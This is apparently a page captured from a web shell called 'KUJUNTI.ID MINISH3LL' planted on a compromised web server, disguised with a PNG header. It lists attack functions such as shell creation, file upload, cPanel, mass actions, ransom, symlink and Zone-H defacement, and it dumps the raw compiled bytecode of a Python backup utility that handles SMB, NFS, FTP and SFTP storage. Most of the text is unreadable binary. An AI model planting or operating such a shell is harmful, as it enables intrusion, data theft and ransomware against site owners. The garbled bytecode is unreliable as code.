\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv4/__pycache__/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv4/__pycache__/storage_utils.cpython-310.pyc


o

�-�g�K�@s�ddlZddlZddlZddlZddlmZddlmZddlmZddlZdZ	zddl
ZdZ	WneyCe�
e�Ze�d�YnwdZzddlZdZWneyae�
e�Ze�d�Ynwe�
e�Zd	d
�Zdd�Zd
d�ZdS)�N)�datetime)�FTP)�
SMBConnectionFTz;NFS support not available - nfs4-share module not installedz:SFTP support not available - paramiko module not installedcCs��z3|dkrKt||d|dd�}|durd}|�||�}|s WdS|��}dd	�|D�}	|�d
�d}
|
|	vrDt�d|
�d
|	���WdS|��WdS|dkr�tsYt�d�WdSz't�	�}t
j|dd�}|�|�}
|
�
|�}t�|�|��t�|�WWdSty�}zt�dt|����WYd}~WdSd}~ww|dkr�|dur�d}t�}|�||�|�||�|r�|�|�|��WdS|dk�r*ts�t�d�WdS|dur�d}z/t��}|�t���|j||||d�|��}|r�|�|�|��|��|��WWdSt�y)}zt�dt|����WYd}~WdSd}~wwt�d|���WdSt�yX}zt�d|�d|�dt|����WYd}~dSd}~ww)a�
    Test connection to a storage target.
    
    Args:
        storage_type (str): Storage type (smb, nfs, ftp)
        host (str): Storage host
        port (int): Storage port
        username (str): Username for storage
        password (str): Password for storage
        path (str): Storage path
        
    Returns:
        bool: True if connection successful, False otherwise
    �smb�
backup-appT��use_ntlm_v2N�FcSsg|]}|j�qS�)�name)�.0�sharer
r
�?/var/www/html/yedekledb24/DatabaseBackupMaster/storage_utils.py�
<listcomp>Bsz+test_storage_connection.<locals>.<listcomp>�/rzShare z  not found in available shares: �nfs�>NFS support is not available - nfs4-share module not installed�tcp��protozNFS connection error: �ftp��sftp�=SFTP support is not available - paramiko module not installed���hostname�port�username�passwordzSFTP connection error: �Unsupported storage type: zStorage connection error for � �: )r�connect�
listShares�split�logger�error�close�NFS_SUPPORT�tempfile�mkdtemp�nfs4�
NFS4Client�
get_export�mount�os�listdir�umount�rmdir�	Exception�strr�login�cwd�quit�SFTP_SUPPORT�paramiko�	SSHClient�set_missing_host_key_policy�
AutoAddPolicy�	open_sftp�chdir)�storage_type�hostrrr�path�conn�	connected�shares�share_names�
share_name�	mount_dir�client�exportr/�er�sshrr
r
r�test_storage_connections��	




��


�
�� ��rMc
Cs��z�|jdkrLt|j|jd|jdd�}|jdur|jnd}|�|j|�}|s*td��|j�	d�d	}|�
|�}|��|j|j
}|j|j
}||fWS|jd
kr�ts[t�d�WdSz7t��}tj|jd
d�}	|	�|j�}
|
�|�}t�|�}|��t�|�|j|j}|j|j}||fWWSty�}
zt�dt|
����WYd}
~
WdSd}
~
ww|jdk�rzB|jdur�|jnd}t �}|�|j|�|�!|j|j�z|�"d�}t#|�	�d�}|d}Wnd}d}Y|�$�||fWWSt�y}
zt�dt|
����WYd}
~
WdSd}
~
ww|jdk�r�t%�s*t�d�WdSzo|jdu�r4|jnd}t&�'�}|�(t&�)��|j|j||j|jd�d|j�d�}|�*|�\}}}|�+��,��-�}|�r�|�	�}t.|�dk�r�t#|d�d }t#|d!�d }|��||fWWS|��d}d}||fWWSt�y�}
zt�d"t|
����WYd}
~
Wd#Sd}
~
wwt�d$|j���WdSt�y�}
zt�d%|j/�d&t|
����WYd}
~
dSd}
~
ww)'z�
    Get available and total space for a storage target.
    
    Args:
        storage (StorageTarget): Storage target object
        
    Returns:
        tuple: (free_space, total_space) in bytes
    rrTrNr	�Could not connect to SMB sharerrrr)i@l
rrzError getting NFS space: )r�rrzAVBL /rO���>�b	zError getting FTP space: rrrrz	df -P -k z
 | tail -1�i�zError getting SFTP space: )rQrRr z Error getting storage space for r")0r@rrrrArr#r4rBr%�getStorageInfor(�
free_units�
block_size�total_unitsr)r&r'r*r+r,r-r.r/r0�statvfsr2r3�f_bfree�f_frsize�f_blocksr5rr6�voidcmd�intr8r9r:r;r<r=�exec_command�read�decode�strip�lenr)�storagerCrrDrG�	disk_info�
free_space�total_spacerHrIrJr/�statsrKrrL�cmd�stdin�stdout�stderr�output�partsr
r
r�get_storage_space�s�

�	






��
��
�	����rocCs��z(|jdkrzt|j|jd|jdd�}|jdur|jnd}|�|j|�}|s*td��|j�	d�}|d	}t
|�d
krCd�|d
d��nd}|rO|�d|��}	n|}	t|d��}
|�
||	|
�Wd�n1shwY|��|j�d|��WS|jd
kr�ts�t�d�td��z7t��}tj|jdd�}|�|j�}
|
�|�}tj�||�}t�||�|��t�|�|j�d|��WWSty�}zt�dt|�����d}~ww|jdk�rf|jdur�|jnd}t�}|�|j|�|�|j|j�|j�r:z|� |j�Wn2|j�!d��	d�}d}|D] }|d|7}z|� |�W�q|�"|�|� |�Y�qYt|d��}
|�#d|��|
�Wd�n	1�sTwY|�$�|j�d|��WS|jdk�r"t%�sxt�d�td��|jdu�r�|jnd}z�t&�'�}|�(t&�)��|j|j||j|jd�|�*�}|j�r�z|�+|j�WnBt,�y�|j�!d��	d�}d}|D]*}|�sǐq�|d|7}z|�+|�W�q�t,�y�|�-|�|�+|�Y�q�wYnw|j�.d�d|}	|�/||�|��|��|	WWSt�y!}zt�dt|�����d}~wwtd|j����t�yE}zt�d|j0�dt|�����d}~ww)a9
    Upload a file to the storage target.
    
    Args:
        storage (StorageTarget): Storage target object
        local_file (str): Path to local file
        remote_filename (str): Filename to use on the remote storage
        
    Returns:
        str: Path to the uploaded file on the remote storage
    rrTrNr	rNrrrO��rbrrrrzError uploading to NFS: rrzSTOR rrrrzError uploading to SFTP: r zError uploading to r")1r@rrrrArr#r4rBr%rc�join�open�	storeFiler(r)r&r'r*r+r,r-r.r/r0�shutil�copy2r2r3r5rr6r7rb�mkd�
storbinaryr8r9r:r;r<r=r>r?�IOError�mkdir�rstrip�putr)rd�
local_file�remote_filenamerCrrDrnrG�
remote_dir�remote_path�file_objrHrIrJr/�	dest_pathrKr�
path_parts�current_path�partrLrr
r
r�upload_to_storagePs�
�	"�



��
�	�
�
�������r�)r0�loggingr*rur�ftplibr�smb.SMBConnectionrr)�
nfs4_sharer,�ImportError�	getLogger�__name__r&�warningr9r:rMror�r
r
r
r�<module>s<
�
�

*

© KUJUNTI.ID